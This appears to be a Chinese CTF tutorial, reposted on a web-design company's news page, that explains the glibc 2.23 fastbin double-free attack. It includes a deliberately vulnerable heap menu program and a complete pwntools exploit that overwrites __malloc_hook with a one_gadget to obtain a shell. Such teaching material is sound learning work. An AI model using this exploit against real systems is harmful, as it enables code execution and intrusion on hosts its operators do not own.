资讯动态

fastbin attack详解:从double free到任意地址分配的堆利用入门

发布时间:2026/9/15 12:48:52 来源:尧图企业网站定制
CTF打多了就会发现堆利用这块有一个很奇怪的现象你明明知道很多高级利用手法什么largebin attack、tcache stashing unlink但真到了现场一个经典的double free照样能放倒一批人。fastbin attack作为堆利用入门的必修课这些年一直被低估它其实一点都不复杂核心就一句话利用fastbin单链表上悬空的指针把malloc“指”到你想写的地址去。这篇文章我会把fastbin attack从原理到实操整个过一遍包括glibc分配器的bin管理逻辑、double free检查的绕过、伪造chunk时的size校验以及一个可以直接复现的完整exp。适合刚接触堆利用、被各种术语搞晕的pwn新手也适合想快速复习一遍基础攻击链的老手。1. 先搞清楚这几件事再谈fastbin attack1.1 glibc堆管理的最小单位chunk在glibc的ptmalloc2分配器里堆内存不是以字节为单位随便切的而是被切成一块一块的chunk来管理。每个chunk都带一个16字节的头部位于用户数据区之前。64位系统上布局是这样的偏移字段含义0x00prev_size前一个chunk的大小仅当前chunk空闲时有效0x08size当前chunk大小低3位是标志位0x10fd / user data空闲时指向同bin中的下一个chunk使用时为用户数据size字段里的低3位不是大小的一部分分别是PREV_INUSE前一个chunk是否使用中、IS_MMAPPED是否mmap映射、NON_MAIN_ARENA是否属于主分配区。所以你看一个chunksize读出来往往是0x71、0x91这种带个尾数的值那个1基本就是PREV_INUSE标志。对齐规则也简单chunk大小必须是16字节对齐。用户请求大小换算成chunk大小的公式是nb (request 8 0xf) ~0xf这8就是prev_size和size这16字节头部的一半因为size字段自身占了8字节加上用户数据再按16对齐。常见对应关系我整理了一张表用户请求大小实际chunk size归属bin0x100x20fastbin0x180x20fastbin0x200x30fastbin0x600x70fastbin0x700x80fastbin上限0x800x90unsorted bin这个换算表建议背下来写exp的时候非常常用。很多新手卡在第一步就是不知道为什么自己malloc(0x60)拿到的chunk在gdb里看是0x71把表格捋一遍就通了。1.2 fastbin是什么样的“篮子”glibc为了效率把空闲chunk按大小分成了好几条链表来管理fastbin是专门存放小chunk的篮子。在64位系统里大小范围是0x20到0x80含header。这个范围内的chunk释放后不会合并也不会立刻还给操作系统而是头插法放进一条单链表。fastbin的两个关键特性很多人只顾着背结论却不知道为什么第一它是单链表。和unsorted bin、large bin那种双向链表不同fastbin只需要一个fd指针就够了因为它的操作只有两种从头部取、往头部放。单链表天然适合这种LIFO后进先出结构不需要遍历性能最好。第二它是LIFO后进先出。你就想象食堂里那种自助餐托盘架服务员把托盘往上叠取的时候从最上面拿。最后放进去的chunk在下一次malloc时最先被取出来。这个顺序理解不了整个攻击流程就会乱。fastbin的存在意义就是快。小内存的申请和释放非常频繁如果每次都走复杂的合并、分割逻辑性能损失太大。用一条单链表O(1)时间内完成存取代价是安全上留下了攻击面。1.3 fastbin attack到底在攻击什么搞清楚bin的组织方式fastbin attack的思路就浮现了fastbin的链表完全信任chunk里的fd指针。malloc从fastbin取chunk时做的事情很简单取出链表头chunk A 把链表头更新为 A-fd 返回 A 的用户区问题来了如果A-fd是一个我们伪造的地址那么下一次malloc就会把这个伪造地址当作新的chunk返回。攻击的实质就是伪造fd指针劫持分配器的返回地址让它返回一个我们指定的内存位置从而获得对那块内存的读写能力。那怎么才能改到A-fd呢这就要靠漏洞本身了。常见有三类Double Free同一个chunk被释放两次链表中产生重复节点通过交错分配能让一个chunk同时处于“已分配”和“在链表上”的状态于是可以改写它的fd。UAFUse After Freechunk被释放后程序仍然保留指针可以直接对已释放chunk的fd字段进行读写。堆溢出溢出的字节正好改到相邻空闲chunk的fd字段。所以fastbin attack本身不是漏洞而是一个利用手段。这在堆利用里是个很核心的认知——你在exp里写的不是“攻击代码”而是“利用分配器自身逻辑的调度代码”。2. 拆开看fastbin attack的核心思路与两条经典路径2.1 绕Double Free检查为什么是free A、free B、free Aglibc对double free不是完全没防备。在_int_free函数里释放一个fastbin chunk时会检查它是不是当前链表头if (__builtin_expect (old p, 0)) malloc_printerr (double free or corruption (fasttop));这个检查的逻辑是如果你连续释放同一个chunk那释放第二次时链头还是它自己直接报错。但它的防御范围很窄——只在链头作比对链里面有没有重复它不管。于是就有了经典绕过手法连续释放在同一个chunk之间插一个第三者。free(A) // fastbin: A - NULL free(B) // fastbin: B - A - NULL free(A) // fastbin: A - B - A - NULL第一次free(A)后链头是Afree(B)后链头变成B此时再free(A)检查的是“当前链头B是否等于A”不相等检查通过。但A已经在链表里了链表中就出现了环。我见过不少新手在这个地方犯错直接在free(A)后面又free(A)被报double free or corruption (fasttop)然后卡半小时。这就是没理解检查只在链头。写exp前一定要先把链表状态画出来。到glibc 2.26引入tcache之后同一chunk连续free的检测逻辑变了tcache里每个chunk结构体会保存一个key字段free时检查key是否等于tcache结构地址是就报double free。这时候就需要先edit清掉key再二次释放这是后话后面单独讲。2.2 伪造fdmalloc返回地址是怎么被“带偏”的经过上面的double free链表结构是A - B - A这还只是准备工作。真正要打出效果必须在A被分配回来时改写A-fd。整个过程一步步展开malloc // 返回Afastbin变成 B - A - NULL malloc // 返回Bfastbin变成 A - NULL malloc // 返回Afastbin变成 NULL这里的关键在第1次malloc返回A时A已经不在链表上了但它此刻同时被分配给了程序程序可以写它的数据区。A的数据区开头8字节恰好就是fd字段fastbin的chunk在空闲时只写了fdbk没有使用。所以在第1次malloc时往A写入fake_chunk实际上就是把下一次链头指向了fake_chunk。这时再继续执行后续的分配malloc // 返回B链头变成 AA的fd此刻是fake_chunk malloc // 返回A链头变成 fake_chunk malloc // 链头是fake_chunk返回 fake_chunk 0x10看到没有最后一次malloc返回的地址不是我们从申请函数传进去的正常chunk而是我们写入fd的那个fake_chunk的用户区。攻击点到这儿就成立了。这里有一个永恒的坑fd要填的是目标地址减去0x10。为什么因为malloc返回给用户的指针是chunk头偏移0x10的位置也就是用户数据区起始处。分配器认为fake_chunk是一个完整的chunk返回fake_chunk 0x10给用户。所以如果想把某个地址x作为用户区拿回来fd就填x - 0x10公式记死fd 目标用户区地址 - 0x102.3 两条经典路径写栈还是打malloc_hook有了任意地址分配的能力接下来就看你想要什么效果了。历史上有两条特别经典的路径直到今天还在大量出现在题目和真实利用中。第一条是fastbin dup into stack目标是把chunk分配到栈上某个变量或返回地址附近。优点是代码逻辑直观exp写起来快缺点是必须能拿到栈地址有些题目不给泄露栈的机会这条路就断了。第二条是fastbin dup into malloc_hook / free_hook目标是把__malloc_hook或__free_hook这类函数指针改写成一个后门地址比如one_gadget或system。这是CTF里最常走的路线因为libc地址通常能通过unsorted bin泄露而且hook的执行时机非常自然——你只要再触发一次malloc/free即可。路径目标需要条件典型写法dup into stack栈变量/返回地址栈地址泄露fd stack_addr - 0x10dup into malloc_hook__malloc_hooklibc基址fake_chunk __malloc_hook - 0x23dup into free_hook__free_hooklibc基址fake_chunk __free_hook - 0x10选择哪条本质上取决于你掌握哪些信息。能拿到栈地址就打栈拿不到就打hook。实际做题时我更推荐一个习惯先想清楚自己手里有什么信息再倒推哪条路径可行而不是拿到一个题目就先想着打malloc_hook。3. 完整实操在libc 2.23上打一个可复现的fastbin attack3.1 环境准备与版本选择学习fastbin attack强烈建议用glibc 2.23也就是Ubuntu 16.04默认的libc版本。这个版本没有tcache没有safe-linkingfastbin攻击的限制最少最适合理解原始的攻击模型。如果你本机是更高版本推荐用docker起一个环境docker run -it --name heap_env ubuntu:16.04 apt-get update apt-get install -y gcc gdb python python-pip pip install pwntoolsgdb插件推荐pwndbg它自带一套堆相关的可视化命令后面调试会非常省心。安装方式不多说clone下来source一下就行。还要准备工具链里的另外两个成员one_gadget用来查找libc中可以直接执行/bin/sh的gadget偏移。patchelf如果你不想用docker想直接在宿主机跑不同版本libc用patchelf把程序的动态链接器和RPATH指到目标libc即可。实战里环境切换我踩过很多坑最简单的方式还是docker。容器里开gdb调试pwn题写完exp直接跑通干净利落。非要本机跑的话本地libc版本必须和题目一致否则泄露计算出来的偏移全是错的。3.2 示例程序一个带double free漏洞的简单菜单堆题写一个极简的菜单堆题来演示攻击。功能就四个add、delete、edit、show。漏洞放在delete函数里free之后没有把指针置NULL#include stdio.h #include stdlib.h #include string.h #include unistd.h char *chunks[16]; void menu() { puts(1. add); puts(2. delete); puts(3. edit); puts(4. show); puts(5. exit); printf( ); } int main() { setvbuf(stdout, NULL, _IONBF, 0); int choice, idx, size; while (1) { menu(); scanf(%d, choice); switch (choice) { case 1: printf(idx: ); scanf(%d, idx); printf(size: ); scanf(%d, size); chunks[idx] malloc(size); printf(content: ); read(0, chunks[idx], size); break; case 2: printf(idx: ); scanf(%d, idx); free(chunks[idx]); break; case 3: printf(idx: ); scanf(%d, idx); printf(content: ); read(0, chunks[idx], 0x70); break; case 4: printf(idx: ); scanf(%d, idx); puts(chunks[idx]); break; } } }漏洞点一目了然free(chunks[idx])之后chunks[idx]这个全局指针还留着于是同一个chunk可以被第二次free也就是double free同时add、edit功能都能往已经释放的chunk里写数据这又构成了UAF。编译时记得关掉PIE这样符号地址固定比较方便分析cachegcc -no-pie -g heap.c -o heap题目逻辑虽然简单但该有的漏洞类型都有了。现实中遇到的很多真实漏洞本质上也是释放后指针未清导致的问题。3.3 编写exp从泄露libc到改写__malloc_hook目标很明确利用fastbin attack把__malloc_hook改写成one_gadget然后触发一次malloc拿到shell。先看泄露libc这一步。glibc里如果一个大chunk大于fastbin上限被释放它会进入unsorted bin。show一个处于unsorted bin的chunk能读到的fd指向main_arena88这个地址和libc基址之间有固定偏移。在libc 2.23里main_arena 88 相对于 libc 基址的偏移 0x3c4b78完整exp如下。我用的是pwntools注释里把关键步骤都标出来了from pwn import * context.arch amd64 context.log_level info p process(./heap) libc ELF(./libc-2.23.so) def add(idx, size, content): p.sendlineafter(b , b1) p.sendlineafter(bidx: , str(idx).encode()) p.sendlineafter(bsize: , str(size).encode()) p.sendafter(bcontent: , content) def free(idx): p.sendlineafter(b , b2) p.sendlineafter(bidx: , str(idx).encode()) def edit(idx, content): p.sendlineafter(b , b3) p.sendlineafter(bidx: , str(idx).encode()) p.sendafter(bcontent: , content) def show(idx): p.sendlineafter(b , b4) p.sendlineafter(bidx: , str(idx).encode()) return p.recvline().strip() # 第一步泄露libc基址 add(0, 0x80, bA) # 0x90 chunk进入unsorted bin add(1, 0x10, bB) # 防止free后和top chunk合并 free(0) libc_leak u64(show(0).ljust(8, b\x00)) libc.address libc_leak - 0x3c4b78 log.success(libc base: hex(libc.address)) # 第二步构造double free把fastbin链变成环形 add(2, 0x60, bC) # chunk A size0x70 add(3, 0x60, bD) # chunk B size0x70 free(2) free(3) free(2) # 此时链表: A - B - A - ... # 第三步第一次malloc返回A写A-fd为fake_chunk fake_chunk libc.sym[__malloc_hook] - 0x23 add(2, 0x60, p64(fake_chunk)) add(3, 0x60, bD) # 拿回B add(4, 0x60, bE) # 拿回A此时链表头变成fake_chunk # 第四步再malloc一次返回fake_chunk的用户区 # 返回指针 fake_chunk 0x10 __malloc_hook - 0x13 # 填充0x13字节后到达__malloc_hook写入one_gadget payload bF * 0x13 p64(libc.address 0x4527a) add(5, 0x60, payload) # 第五步触发malloc执行hook p.sendlineafter(b , b1) p.sendlineafter(bidx: , b6) p.sendlineafter(bsize: , b16) p.interactive()这个one_gadget偏移0x4527a是libc 2.23里比较常见的实际使用时最好用one_gadget ./libc-2.23.so命令再确认一遍。如果gadget约束不满足导致段错误可以尝试其他偏移或者用realloc调整栈再跳one_gadget。3.4 为什么fake_chunk选__malloc_hook - 0x23这一步是很多教程里写得最糊的地方。我展开讲一下。前面说fastbin attack在malloc取出chunk时会检查这个chunk的size是否合法对应的报错是malloc(): memory corruption (fast)。检查逻辑是取出的victim的size必须落在当前fastbin索引对应的范围内。所以fake_chunk这个地址必须满足一个条件fake_chunk 0x8处的8字节也就是size字段位置解出来的值必须落在fastbin的合法范围内。你不能直接拿一个任意的libc地址当fake_chunk否则malloc检查时就崩了。怎么构造这个size最简单是利用libc自身内存里的数据。在glibc 2.23的libc里__malloc_hook上方有一段区域里面存在0x7f这种值。我们可以把fake_chunk选在一个看起来好笑的位置fake_chunk __malloc_hook - 0x23把__malloc_hook - 0x23当chunk头它的size字段就在__malloc_hook - 0x1b。这个地址处libc数据恰好是0x7f...。glibc计算size时会对低字节做 ~0xf0x7f对齐后就是0x70正好落在fastbin 0x70这一档。而我们前面malloc(0x60)得到的chunk size就是0x70两者匹配检查通过。从__malloc_hook - 0x23这个chunk头再往用户区偏移0x10返回给程序的指针是__malloc_hook - 0x13。所以从返回的指针开始先写0x13字节padding再写8字节的one_gadget就刚好覆盖到__malloc_hook。这就是exp里bF * 0x13 p64(...)的由来。顺便说一句0x23这个偏移不是随手拍脑袋想出来的它就是0x10chunk头 0x13从返回指针到hook的偏移加起来的自然结果。理解了原理下次遇到__free_hook也能自己算偏移。4. 实战中避不开的坑与调试技巧4.1 常见报错速查与排查思路报错信息含义常见原因double free or corruption (fasttop)释放的chunk是当前fastbin链头连续free同一chunkmalloc(): memory corruption (fast)取出的chunk size不合法fake_chunk的size字段不满足索引匹配free(): invalid pointerfree的地址不是有效的chunk头指针fd填错或目标地址没减0x10SIGSEGVin one_gadgetone_gadget约束条件不满足栈环境不对换gadget或调整布局第一个报错最常出现在新手刚写double free的时候。我之前已经强调过解决方式就是free中间插一个别的chunk。但还有一种情况是你明明已经交错释放了还是报错那就要检查是不是同一块chunk被连续free了两次中间插的chunk其实压根没成功分配。第二个报错是fastbin攻击被卡最多的点。排查思路很简单gdb里看一下fake_chunk附近的8字节确认size值是否在fastbin范围内。如果不在说明你选的fake地址不对需要换一个。这也是为什么很多exp都往__malloc_hook - 0x23打因为那里天然有0x7f字节是最省事的构造。第三个报错很多人忽略。free(): invalid pointer不一定是你free了非法指针很有可能是分配器把fake_chunk分配给你之后程序后续的逻辑又把这个地址当普通chunk操作了。比如你把__free_hook当伪造目标伪造chunk的size接近0x7f但free时校验的size不对就会炸。这个报错一旦出现先往“fd是否少减了0x10”这个方向上排查。4.2 版本差异从2.23到2.32攻击条件悄悄变了2.23不是永远经典现在很多新题目已经不会让你舒舒服服地打fastbin attack了。glibc版本的更新每一步都在收紧fastbin这条攻击路。glibc版本关键变化对fastbin attack的影响2.23及之前无tcache无safe-linking最理想的练习版本2.26引入tcache同大小chunk优先走tcachefastbin攻击面缩小2.27tcache无双重释放检查同等漏洞可以更简单地打tcache poisoning2.30-2.31tcache增加key检查double free绕过需要先在tcache上清key2.32引入safe-linkingfastbin的fd会被异或保护攻击需要堆地址泄露tcache引入之后如果你拿到的是double free或者UAF第一反应不该是fastbin attack而是直接打tcache poisoning——把tcache bin里的fd改成目标地址下一次malloc就返回任意地址了。检查更少、利用更直接。glibc 2.32后fastbin的fd做了异或保护fd real_fd ^ (chunk_addr 12)这意味着伪造fd前必须先知道堆地址并且每次free时fd都会被覆写。攻击门槛明显变高了。现在的堆题里fastbin attack更多出现在“考察历史机制”的题目里或者作为组合利用的一环。我的态度是原理必须吃透但实战选路要跟着版本走。拿到题目第一件事先确定libc版本再决定攻击链。如果你的工具链里还没有能快速查看题目libc版本的习惯建议现在就养成。4.3 调试心得gdb视角下的fastbin链表最后分享几个调试fastbin attack时的实用习惯都是从坑里爬出来的经验。pwndbg下最常用的三个命令heap chunks # 查看所有chunk fastbins # 查看fastbin链表能直接看到链头指针 x/20gx addr # 查看任意地址的内存调试double free后的链表状态是关键一步。我的建议是每执行一次malloc或free就用fastbins看一次链表头的变化和纸上推演的链表状态对比。比如你发现fastbins显示的链头是fake_chunk但下一个节点指向的地址不是你预期的说明fd写入没生效优先怀疑edit的写入长度是不是不够。关于one_gadget约束不对的问题我通常的做法是先在gdb里把断点打到__malloc_hook被调用的那一瞬间检查rsp和寄存器状态确认是哪个约束不满足再决定换gadget还是调布局。0x4527a不行换0x452262.23的libc一般有几个可以试的偏移不要死磕一个。还有一个小技巧写给被泄露地址困扰的读者。fastbin attack打malloc_hook时libc基址的泄露通常走unsorted bin的fd。但如果你手里的题目既没有show功能也不能UAF读那就得考虑爆破低12位这种方式配合1/4096的概率。这种情况虽然麻烦但也是真实存在的比赛场景。先掌握有show功能的版本再往后灵活变通。从fastbin attack入坑堆利用这两年我个人最大的感受是堆利用里90%的trick说穿了都是分配器内部逻辑的组合拳。你把chunk结构、fastbin的单链表特性、double free的检查边界这些基础打扎实了后面学tcache poisoning、unsorted bin attack都会快很多。最后给一个很具体的建议别急着上高版本和复杂手法先把2.23环境的fastbin attack练到闭着眼能写出来gdb里每一步链表变化都了然于心。真到了赛场上你会发现这个基础能力救过你很多次。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价